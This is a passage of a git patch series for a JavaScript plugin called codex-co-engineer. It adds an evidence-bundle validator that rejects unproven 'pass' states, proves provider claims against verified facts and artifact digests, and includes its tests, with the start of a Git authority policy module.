seenIds.add(snapshot[idKey]); + seenSequences.add(snapshot.sequence); + snapshots.push(snapshot); + } + snapshots.sort((left, right) => compareById(left, right, idKey)); + return capturedFreeze(snapshots); +} + +function parseArtifactSnapshots(input, path, runId, assignmentId) { + const value = optOwn(input, 'artifacts'); + const field = `${path}.artifacts`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_EVIDENCE_ARTIFACT_REFS) { + fail('out_of_range', field, `${field} exceeds ${MAX_EVIDENCE_ARTIFACT_REFS} entries.`); + } + const snapshots = []; + const seenCanonical = new Set(); + const seenSha = new Map(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + if (typeof value[index] === 'string') { + fail('invalid_type', entryPath, + `${entryPath} must be an exact ${ARTIFACT_REF_SCHEMA_ID} snapshot, not a raw path or URL.`); + } + const snapshot = parseArtifactRefV1(value[index], entryPath); + if (snapshot.run_id !== runId || snapshot.assignment_id !== assignmentId) { + fail('identity_mismatch', entryPath, + `${entryPath} identity does not match the enclosing evidence bundle.`); + } + const canonical = canonicalJsonStringify(snapshot); + if (seenCanonical.has(canonical)) { + fail('duplicate_id', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(canonical); + const prior = seenSha.get(snapshot.sha256); + if (prior !== undefined && prior !== canonical) { + fail('conflicting_id', entryPath, + `${entryPath} reuses an artifact digest for a different ArtifactRefV1 snapshot.`); + } + seenSha.set(snapshot.sha256, canonical); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} + +function artifactByDigest(artifacts) { + const map = new Map(); + for (let index = 0; index < artifacts.length; index += 1) { + map.set(artifacts[index].sha256, artifacts[index]); + } + return map; +} + +function resolveDigests(digests, artifacts, path, requiredKinds, allowEmpty) { + if (digests.length === 0) { + if (allowEmpty) return; + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path}.artifact_digests must cite at least one proof artifact.`); + } + let proof = false; + for (let index = 0; index < digests.length; index += 1) { + const digest = digests[index]; + const ref = artifacts.get(digest); + if (ref === undefined) { + fail('identity_mismatch', `${path}.artifact_digests[${index}]`, + `${path}.artifact_digests[${index}] does not resolve to an exact ArtifactRefV1 snapshot.`); + } + if (requiredKinds === 'provider') { + if (!capturedIncludes(PROVIDER_DERIVED_ARTIFACT_KINDS, ref.artifact_kind)) { + fail('provider_proof_rejected', `${path}.artifact_digests[${index}]`, + `${path} claims must cite provider-derived artifacts, never proof artifacts as claims.`); + } + } else if (capturedIncludes(PROOF_ARTIFACT_KINDS, ref.artifact_kind)) { + proof = true; + } + } + if (requiredKinds === 'proof' && !proof) { + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path} facts cannot be synthesized from provider-derived artifacts alone.`); + } +} + +function claimComparable(claim) { + const kind = claim.claim_kind; + if (kind === 'tests_passed' || kind === 'command_reported') return `result:${claim.payload.result}`; + if (kind === 'head_reached') return `sha:${claim.payload.sha}`; + if (kind === 'model_used') return `model:${claim.payload.model}`; + if (kind === 'files_changed') return `count:${claim.payload.path_count}`; + return ''; +} + +function factComparable(fact) { + const kind = fact.fact_kind; + if (kind === 'acceptance_results') return `result:${fact.payload.result}`; + if (kind === 'head_sha') return `sha:${fact.payload.sha}`; + if (kind === 'git_identity') return `sha:${fact.payload.head_sha}`; + if (kind === 'model_attested') return `model:${fact.payload.model}`; + if (kind === 'git_diff') return `count:${fact.payload.path_count}`; + return ''; +} + +function isSuccessClaim(claim) { + if (claim.status !== 'asserted') return false; + if (claim.claim_kind === 'tests_passed' || claim.claim_kind === 'command_reported') { + return claim.payload.result === 'pass'; + } + return capturedIncludes(['files_changed', 'head_reached', 'model_used'], claim.claim_kind); +} + +function matchingFacts(claim, facts) { + const mapped = CLAIM_FACT_MAP[claim.claim_kind] || []; + const matches = []; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.subject !== claim.subject) continue; + if (!capturedIncludes(mapped, fact.fact_kind)) continue; + matches.push(fact); + } + return matches; +} + +function linkedPair(discrepancy, claimId, factId) { + let hasClaim = false; + let hasFact = false; + for (let index = 0; index < discrepancy.claim_ids.length; index += 1) { + if (discrepancy.claim_ids[index] === claimId) hasClaim = true; + } + for (let index = 0; index < discrepancy.fact_ids.length; index += 1) { + if (discrepancy.fact_ids[index] === factId) hasFact = true; + } + return hasClaim && hasFact; +} + +function assertLinkedIdentities(discrepancies, claims, facts, path) { + const claimIds = new Set(); + const factIds = new Set(); + for (let index = 0; index < claims.length; index += 1) claimIds.add(claims[index].claim_id); + for (let index = 0; index < facts.length; index += 1) factIds.add(facts[index].fact_id); + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies`; + for (let c = 0; c < discrepancy.claim_ids.length; c += 1) { + if (!claimIds.has(discrepancy.claim_ids[c])) { + fail('identity_mismatch', `${field}[${index}].claim_ids[${c}]`, + `${field}[${index}].claim_ids[${c}] does not resolve to a claim identity.`); + } + } + for (let f = 0; f < discrepancy.fact_ids.length; f += 1) { + if (!factIds.has(discrepancy.fact_ids[f])) { + fail('identity_mismatch', `${field}[${index}].fact_ids[${f}]`, + `${field}[${index}].fact_ids[${f}] does not resolve to a fact identity.`); + } + } + } +} + +function assertClaimFactLinks(claims, facts, discrepancies, path) { + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const matches = matchingFacts(claim, facts); + for (let m = 0; m < matches.length; m += 1) { + const fact = matches[m]; + if (claimComparable(claim) === factComparable(fact)) continue; + let linked = false; + for (let d = 0; d < discrepancies.length; d += 1) { + const discrepancy = discrepancies[d]; + if (discrepancy.discrepancy_kind !== 'mismatch') continue; + if (linkedPair(discrepancy, claim.claim_id, fact.fact_id)) { + linked = true; + break; + } + } + if (!linked) { + fail('invalid_format', path, + `${path} preserves both the claim and the contradicting fact only when a mismatch discrepancy links their identities.`); + } + } + } +} + +function assertIdentityBinding(record, runId, assignmentId, path) { + if (record.run_id !== runId || record.assignment_id !== assignmentId) { + fail('identity_mismatch', path, + `${path} identity drifted from the enclosing evidence bundle.`); + } +} + +function isCompleteVerified(fact) { + return fact.status === 'verified' && fact.truncated === false; +} + +function assertAcceptedState(bundle, path) { + if (!capturedIncludes(ACCEPTED_FINAL_STATES, bundle.final_state)) return; + if (bundle.discrepancies.length > 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted, verified, or pass while a discrepancy remains recorded.`); + } + let verifiedCount = 0; + for (let index = 0; index < bundle.facts.length; index += 1) { + const fact = bundle.facts[index]; + if (fact.status === 'truncated' || fact.truncated === true) { + fail('truncated_required_fact', `${path}.facts`, + `${path}.final_state requires complete facts; truncated facts cannot justify acceptance.`); + } + if (fact.fact_kind === 'artifact_integrity' && fact.payload.result !== 'match') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot pass while an artifact integrity fact reports mismatch.`); + } + if (!isCompleteVerified(fact)) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires verified facts; partial, failed, or unknown facts cannot justify acceptance.`); + } + verifiedCount += 1; + } + if (verifiedCount === 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be justified by provider claims alone.`); + } + for (let index = 0; index < bundle.claims.length; index += 1) { + const claim = bundle.claims[index]; + if (claim.status === 'unsupported') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted while an unsupported claim remains.`); + } + if (!isSuccessClaim(claim)) continue; + const matches = matchingFacts(claim, bundle.facts); + let justified = false; + for (let m = 0; m < matches.length; m += 1) { + if (isCompleteVerified(matches[m]) && claimComparable(claim) === factComparable(matches[m])) { + justified = true; + break; + } + } + if (!justified) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state requires a matching verified fact for every provider success claim.`); + } + } +} + +export function parseEvidenceBundleV1(input, path = 'evidence_bundle') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertEvidenceBounds(input, path); + assertAllowedKeys(input, BUNDLE_ALLOWED_KEYS, path); + requiredKeys(input, BUNDLE_REQUIRED_KEYS, path); + + const schema = optOwn(input, 'schema'); + if (schema !== EVIDENCE_BUNDLE_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${EVIDENCE_BUNDLE_SCHEMA_ID}".`); + } + const version = optOwn(input, 'version'); + if (version !== EVIDENCE_BUNDLE_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${EVIDENCE_BUNDLE_VERSION}; additive versions cannot rewrite v1 bytes.`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const requestId = optOwn(input, 'request_id'); + assertRunId(requestId, `${path}.request_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar.`); + } + const provider = optOwn(input, 'provider'); + if (!isKnownProvider(provider)) { + fail('invalid_format', `${path}.provider`, + `${path}.provider must be one of ${knownProvidersJoined()}.`); + } + const model = optOwn(input, 'model'); + if (!isModelId(model)) { + fail('invalid_format', `${path}.model`, + `${path}.model violates the accepted model-id grammar.`); + } + const repository = parseRepository(input, `${path}.repository`); + const candidate = parseCandidate(input, `${path}.candidate`); + const sequence = assertSequence(optOwn(input, 'sequence'), `${path}.sequence`); + const recordedAt = parseOptionalTimestamp(input, path); + const finalState = assertEnum( + optOwn(input, 'final_state'), FINAL_STATES, 'unknown_final_state', `${path}.final_state`, 'final state', + ); + + const claims = parseRecordList(input, 'claims', path, MAX_CLAIMS, parseProviderClaimV1, 'claim_id'); + const facts = parseRecordList(input, 'facts', path, MAX_FACTS, parseVerifiedFactV1, 'fact_id'); + const discrepancies = parseRecordList( + input, 'discrepancies', path, MAX_DISCREPANCIES, parseEvidenceDiscrepancyV1, 'discrepancy_id', + ); + const artifacts = parseArtifactSnapshots(input, path, runId, assignmentId); + const artifactMap = artifactByDigest(artifacts); + + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const field = `${path}.claims[${index}]`; + assertIdentityBinding(claim, runId, assignmentId, field); + resolveDigests(claim.artifact_digests, artifactMap, field, 'provider', true); + } + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + const field = `${path}.facts[${index}]`; + assertIdentityBinding(fact, runId, assignmentId, field); + const allowEmpty = fact.status === 'unknown' || fact.status === 'failed'; + resolveDigests( + fact.artifact_digests, artifactMap, field, + fact.fact_kind === 'model_attested' ? null : 'proof', + allowEmpty && fact.fact_kind !== 'model_attested', + ); + if (fact.fact_kind === 'git_identity' && fact.payload.base_sha !== repository.base_sha) { + fail('stale_fact', `${field}.payload.base_sha`, + `${field}.payload.base_sha does not match the bundle repository base.`); + } + } + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies[${index}]`; + assertIdentityBinding(discrepancy, runId, assignmentId, field); + resolveDigests(discrepancy.artifact_digests, artifactMap, field, null, true); + } + assertLinkedIdentities(discrepancies, claims, facts, path); + assertClaimFactLinks(claims, facts, discrepancies, path); + + const values = { + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + run_id: runId, + request_id: requestId, + assignment_id: assignmentId, + provider, + model, + repository, + sequence, + final_state: finalState, + claims, + facts, + discrepancies, + artifacts, + }; + if (candidate !== undefined) values.candidate = candidate; + if (recordedAt !== undefined) values.recorded_at = recordedAt; + const snapshot = freezeRecord(BUNDLE_ALLOWED_KEYS, values); + assertAcceptedState(snapshot, path); + const canonical = canonicalJsonStringify(snapshot); + if (BUFFER_FROM(canonical, 'utf8').length > MAX_BUNDLE_CANONICAL_BYTES) { + fail('out_of_range', path, + `${path} canonical bytes exceed ${MAX_BUNDLE_CANONICAL_BYTES}.`); + } + return snapshot; +} + +export function canonicalEvidenceBundleJsonV1(input, path = 'evidence_bundle') { + return canonicalJsonStringify(parseEvidenceBundleV1(input, path)); +} + +export function evidenceBundleDigestV1(input, path = 'evidence_bundle') { + const snapshot = parseEvidenceBundleV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(EVIDENCE_DIGEST_LABEL, [canonicalBytes]); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label: EVIDENCE_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +export function verifyEvidenceBundleDigestV1(input, expectedDigestHex, path = 'evidence_bundle') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== EVIDENCE_DIGEST_HEX_LENGTH + || !testPattern(PRIVATE_SHA256_PATTERN, expectedDigestHex)) { + return false; + } + const actual = evidenceBundleDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +export const EVIDENCE_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: EVIDENCE_BUNDLE_SCHEMA_ID, + version: EVIDENCE_BUNDLE_VERSION, + label: EVIDENCE_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_EVIDENCE_DEPTH, + max_nodes: MAX_EVIDENCE_NODES, + max_claims: MAX_CLAIMS, + max_facts: MAX_FACTS, + max_discrepancies: MAX_DISCREPANCIES, + max_artifacts: MAX_EVIDENCE_ARTIFACT_REFS, + max_canonical_bytes: MAX_BUNDLE_CANONICAL_BYTES, + }), +}); + export { RunContractV1Error as EvidenceContractV1Error }; export { ARTIFACT_REF_SCHEMA_ID }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs index 98498fd..707b909 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs @@ -131,6 +131,42 @@ export function acceptanceRef(overrides = {}) { }); } +export function validDiscrepancy(overrides = {}) { + return { + discrepancy_id: 'd-mismatch', + discrepancy_kind: 'mismatch', + status: 'recorded', + code: 'claim_fact_mismatch', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + claim_ids: ['c-tests'], + fact_ids: ['f-accept'], + artifact_digests: [], + ...overrides, + }; +} + +export function validBundle(overrides = {}) { + return { + schema: 'codex-co-engineer.evidence-bundle.v1', + version: 1, + run_id: RUN_ID, + request_id: REQUEST_ID, + assignment_id: ASSIGNMENT_ID, + provider: PROVIDER, + model: MODEL, + repository: { path: REPOSITORY_PATH, base_sha: BASE_SHA }, + sequence: 0, + final_state: 'pass', + claims: [validClaim()], + facts: [validFact(), validGitIdentityFact()], + discrepancies: [], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + ...overrides, + }; +} + export function countingProxy(target) { const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; const proxy = new Proxy(target, { diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index f88f57f..2dfc730 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -2,26 +2,43 @@ import assert from 'node:assert/strict'; import test from 'node:test'; import { + ARTIFACT_REF_SCHEMA_ID, CLAIM_ALLOWED_KEYS, CLAIM_KINDS, CLAIM_REQUIRED_KEYS, + DISCREPANCY_KINDS, EVIDENCE_BUNDLE_SCHEMA_ID, EVIDENCE_BUNDLE_VERSION, + EVIDENCE_DIGEST_LABEL, FACT_ALLOWED_KEYS, FACT_KINDS, FACT_REQUIRED_KEYS, + canonicalEvidenceBundleJsonV1, canonicalProviderClaimJsonV1, canonicalVerifiedFactJsonV1, + evidenceBundleDigestV1, + parseEvidenceBundleV1, + parseEvidenceDiscrepancyV1, parseProviderClaimV1, parseVerifiedFactV1, + verifyEvidenceBundleDigestV1, } from '../mcp/v3/evidence-bundle.mjs'; +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { parseArtifactRefV1 } from '../mcp/v3/artifact-ref.mjs'; import { + ASSIGNMENT_ID, + BASE_SHA, MODEL, + RUN_ID, + SHA_ACCEPT, countingProxy, payloadDigest, trapTotal, + validArtifactRef, + validBundle, validClaim, + validDiscrepancy, validFact, validGitIdentityFact, validModelClaim, @@ -232,3 +249,136 @@ test('live proxies and accessors are denied without invoking traps or getters', assert.equal(errorOf(() => parseProviderClaimV1(getterClaim)).code, 'accessor_property_denied'); assert.equal(reads, 0); }); + +test('a valid bundle freezes exact P07 artifact snapshots and detaches from the caller', () => { + const input = validBundle(); + const snapshot = parseEvidenceBundleV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.claims), true); + assert.equal(Object.isFrozen(snapshot.facts), true); + assert.equal(Object.isFrozen(snapshot.artifacts), true); + assert.equal(snapshot.artifacts.length, 3); + assert.equal(snapshot.artifacts[0].schema, ARTIFACT_REF_SCHEMA_ID); + for (const ref of snapshot.artifacts) { + assert.deepEqual(Object.keys(ref), Object.keys(parseArtifactRefV1(validArtifactRef()))); + assert.equal(ref.run_id, RUN_ID); + assert.equal(ref.assignment_id, ASSIGNMENT_ID); + } + input.final_state = 'failed'; + input.artifacts.push(validArtifactRef({ relative_path: 'runs/run-evidence-01/lane-alpha/other.patch' })); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.artifacts.length, 3); + assert.throws(() => { 'use strict'; snapshot.final_state = 'failed'; }, TypeError); +}); + +test('discrepancies link claim and fact identities without erasing either source', () => { + const claim = validClaim({ payload: { result: 'pass' } }); + const fact = validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }); + const discrepancy = validDiscrepancy(); + parseEvidenceDiscrepancyV1(discrepancy); + const snapshot = parseEvidenceBundleV1(validBundle({ + final_state: 'failed', + claims: [claim], + facts: [fact, validGitIdentityFact()], + discrepancies: [discrepancy], + })); + assert.equal(snapshot.claims[0].payload.result, 'pass'); + assert.equal(snapshot.facts.find((entry) => entry.fact_id === 'f-accept').payload.result, 'fail'); + assert.equal(snapshot.discrepancies[0].discrepancy_kind, 'mismatch'); + assert.deepEqual([...snapshot.discrepancies[0].claim_ids], ['c-tests']); + assert.deepEqual([...snapshot.discrepancies[0].fact_ids], ['f-accept']); + assert.equal(DISCREPANCY_KINDS.includes('mismatch'), true); +}); + +test('raw paths, URLs, and inline blobs are never accepted as artifact links', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['runs/run-evidence-01/lane-alpha/diff.patch'], + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['https://example.invalid/report'], + }))).code, + 'invalid_type', + ); + const blob = validArtifactRef({ body: 'inline' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [blob] }))).code, 'unknown_key'); + const extraPath = validArtifactRef({ url: '/tmp/secret' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [extraPath] }))).code, 'unknown_key'); +}); + +test('artifact identity drift and non-P07 snapshots fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: [validArtifactRef({ assignment_id: 'lane-beta' })], + }))).code, + 'identity_mismatch', + ); + const incomplete = validArtifactRef(); + delete incomplete.sha256; + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [incomplete] }))).code, 'missing_key'); +}); + +test('canonical bundle bytes and digests are stable under key permutation and use the reserved identity label', () => { + const straight = validBundle(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + reordered.claims = [{ ...straight.claims[0] }]; + const reversedClaim = {}; + for (const key of Object.keys(straight.claims[0]).reverse()) { + reversedClaim[key] = straight.claims[0][key]; + } + reordered.claims = [reversedClaim]; + reordered.facts = [...straight.facts].reverse(); + reordered.artifacts = [...straight.artifacts].reverse(); + assert.equal(canonicalEvidenceBundleJsonV1(straight), canonicalEvidenceBundleJsonV1(reordered)); + const descriptor = evidenceBundleDigestV1(straight); + assert.equal(descriptor.domain, IDENTITY_DOMAIN); + assert.equal(descriptor.label, IDENTITY_LABELS.EVIDENCE_BUNDLE); + assert.equal(descriptor.label, EVIDENCE_DIGEST_LABEL); + assert.equal(verifyEvidenceBundleDigestV1(reordered, descriptor.digest), true); + assert.equal(verifyEvidenceBundleDigestV1(straight, 'zz'.repeat(32)), false); + assert.equal(verifyEvidenceBundleDigestV1(straight, 1), false); + const mutated = validBundle({ sequence: 1 }); + assert.notEqual(evidenceBundleDigestV1(mutated).digest, descriptor.digest); +}); + +test('facts cannot be synthesized from provider-derived artifacts', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact({ artifact_digests: ['11'.repeat(32)] })], + }))).code, + 'provider_proof_rejected', + ); +}); + +test('stale git identity facts fail closed against the bundle base', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [ + validFact(), + validGitIdentityFact({ + payload: { base_sha: 'c'.repeat(40), head_sha: BASE_SHA }, + }), + ], + }))).code, + 'stale_fact', + ); +}); + +test('duplicate and conflicting identities fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + claims: [validClaim(), validClaim({ sequence: 1 })], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validFact({ fact_id: 'f-other', sequence: 0 })], + }))).code, + 'duplicate_sequence', + ); +}); From 431066116ae847b651f99557831c5e26a07dd7ae Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:34:07 +0000 Subject: [PATCH 42/81] test(evidence): reject unproven accepted states --- .../test/r1-evidence-bundle.test.mjs | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index 2dfc730..f14115b 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -382,3 +382,34 @@ test('duplicate and conflicting identities fail closed', () => { 'duplicate_sequence', ); }); + +test('accepted states reject forged PASS, incomplete facts, unsupported claims, and discrepancies', () => { + for (const finalState of ['pass', 'accepted', 'verified']) { + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ final_state: finalState }))); + } + + const forgedPass = validBundle({ facts: [validGitIdentityFact()] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(forgedPass)).code, 'unproven_accepted_state'); + + const incompleteFact = validBundle({ + facts: [validFact({ status: 'partial' }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(incompleteFact)).code, 'unproven_accepted_state'); + + const truncatedFact = validBundle({ + facts: [validFact({ status: 'truncated', truncated: true }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(truncatedFact)).code, 'truncated_required_fact'); + + const unsupportedClaim = validBundle({ claims: [validClaim({ status: 'unsupported' })] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(unsupportedClaim)).code, 'unproven_accepted_state'); + + const blockingDiscrepancy = validBundle({ + facts: [ + validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }), + validGitIdentityFact(), + ], + discrepancies: [validDiscrepancy()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(blockingDiscrepancy)).code, 'unproven_accepted_state'); +}); From 13dfccb20cde3f14bd69031b8ad7d2668831fd6a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:02:53 +0000 Subject: [PATCH 43/81] fix(evidence): require proof artifacts for model attestation Reject model_attested facts justified only by provider-derived artifact kinds or a reused claim provider-report digest. Keep the closed proof-kind boundary so usage_evidence and existing proof kinds remain valid. --- .../mcp/v3/evidence-bundle.mjs | 2 +- .../test/r1-evidence-bundle.test.mjs | 44 +++++++++++++++++++ 2 files changed, 45 insertions(+), 1 deletion(-) diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs index 8b7758b..b717473 100644 --- a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -1008,7 +1008,7 @@ export function parseEvidenceBundleV1(input, path = 'evidence_bundle') { const allowEmpty = fact.status === 'unknown' || fact.status === 'failed'; resolveDigests( fact.artifact_digests, artifactMap, field, - fact.fact_kind === 'model_attested' ? null : 'proof', + 'proof', allowEmpty && fact.fact_kind !== 'model_attested', ); if (fact.fact_kind === 'git_identity' && fact.payload.base_sha !== repository.base_sha) { diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs index f14115b..0323928 100644 --- a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -32,8 +32,11 @@ import { MODEL, RUN_ID, SHA_ACCEPT, + SHA_REPORT, + acceptanceRef, countingProxy, payloadDigest, + reportRef, trapTotal, validArtifactRef, validBundle, @@ -354,6 +357,47 @@ test('facts cannot be synthesized from provider-derived artifacts', () => { ); }); +test('model_attested facts require independent proof, not provider-report reuse', () => { + const modelFact = (artifactDigests) => validFact({ + fact_id: 'f-model', + fact_kind: 'model_attested', + sequence: 2, + subject: 'model', + authority: 'independent_provider_query', + method: 'independent_model_query', + exit_code: null, + payload: { model: MODEL }, + artifact_digests: artifactDigests, + }); + + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_REPORT])], + }))).code, + 'provider_proof_rejected', + ); + + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_ACCEPT])], + }))); + + const usageSha = '77'.repeat(32); + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([usageSha])], + artifacts: [ + reportRef(), + acceptanceRef(), + validArtifactRef(), + validArtifactRef({ + artifact_kind: 'usage_evidence', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/usage.json`, + sha256: usageSha, + media_type: 'application/json', + }), + ], + }))); +}); + test('stale git identity facts fail closed against the bundle base', () => { assert.equal( errorOf(() => parseEvidenceBundleV1(validBundle({ From 0ec4386a566545f2e11372aa4b4e01cfa1b43fdf Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:47:12 +0000 Subject: [PATCH 44/81] feat(authority): define protected refs and branch namespaces --- .../mcp/v3/git-authority.mjs | 400 ++++++++++++++++++ 1 file changed, 400 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/git-authority.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs new file mode 100644 index 0000000..4b30b80 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -0,0 +1,400 @@ +// GitAuthorityPolicyV1 — closed immutable Git authority policy (P28; +// ADR 0001 `codex_only_final_acceptance`, `run_owned_candidate_ref_namespace`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 static law: protected/default refs, the allowed task-branch +// namespace, credential-free repository/ref identity, and tri-class +// classification. No Git mutation, no P29 credential/remote I/O, no P30 +// audit. Policy plus detection is not containment. Receipts never echo +// repository paths, URLs, credentials, provider text, or hostile refs. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { capturedFreeze, capturedTest } from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GIT_AUTHORITY_SCHEMA_ID = 'codex-co-engineer.git-authority.v1'; +export const GIT_AUTHORITY_POLICY_SCHEMA_ID = 'codex-co-engineer.git-authority-policy.v1'; +export const GIT_AUTHORITY_VERSION = 1; + +export const REF_CLASS_VALUES = capturedFreeze([ + 'platform_run_owned', 'unclassified', 'user_protected', 'worker_lane', +]); +export const MAX_AUTHORITY_OBJECT_KEYS = 32; +export const MAX_AUTHORITY_KEY_BYTES = 128; +export const MAX_REF_BYTES = 200; +export const MAX_REF_SEGMENTS = 8; +export const MAX_HISTORY_COMMITS = 256; +export const MAX_PARENT_COUNT = 16; +export const LANE_DIGEST_PREFIX_LENGTH = 16; +export const MANIFEST_DIGEST_HEX_LENGTH = 64; +export const DEFAULT_BRANCH_NAMES = capturedFreeze(['main', 'master']); +export const LANE_BRANCH_NAMESPACE = 'codex/run-'; +export const LANE_REF_PREFIX = 'refs/heads/codex/run-'; +export const CANDIDATE_REF_NAMESPACE = 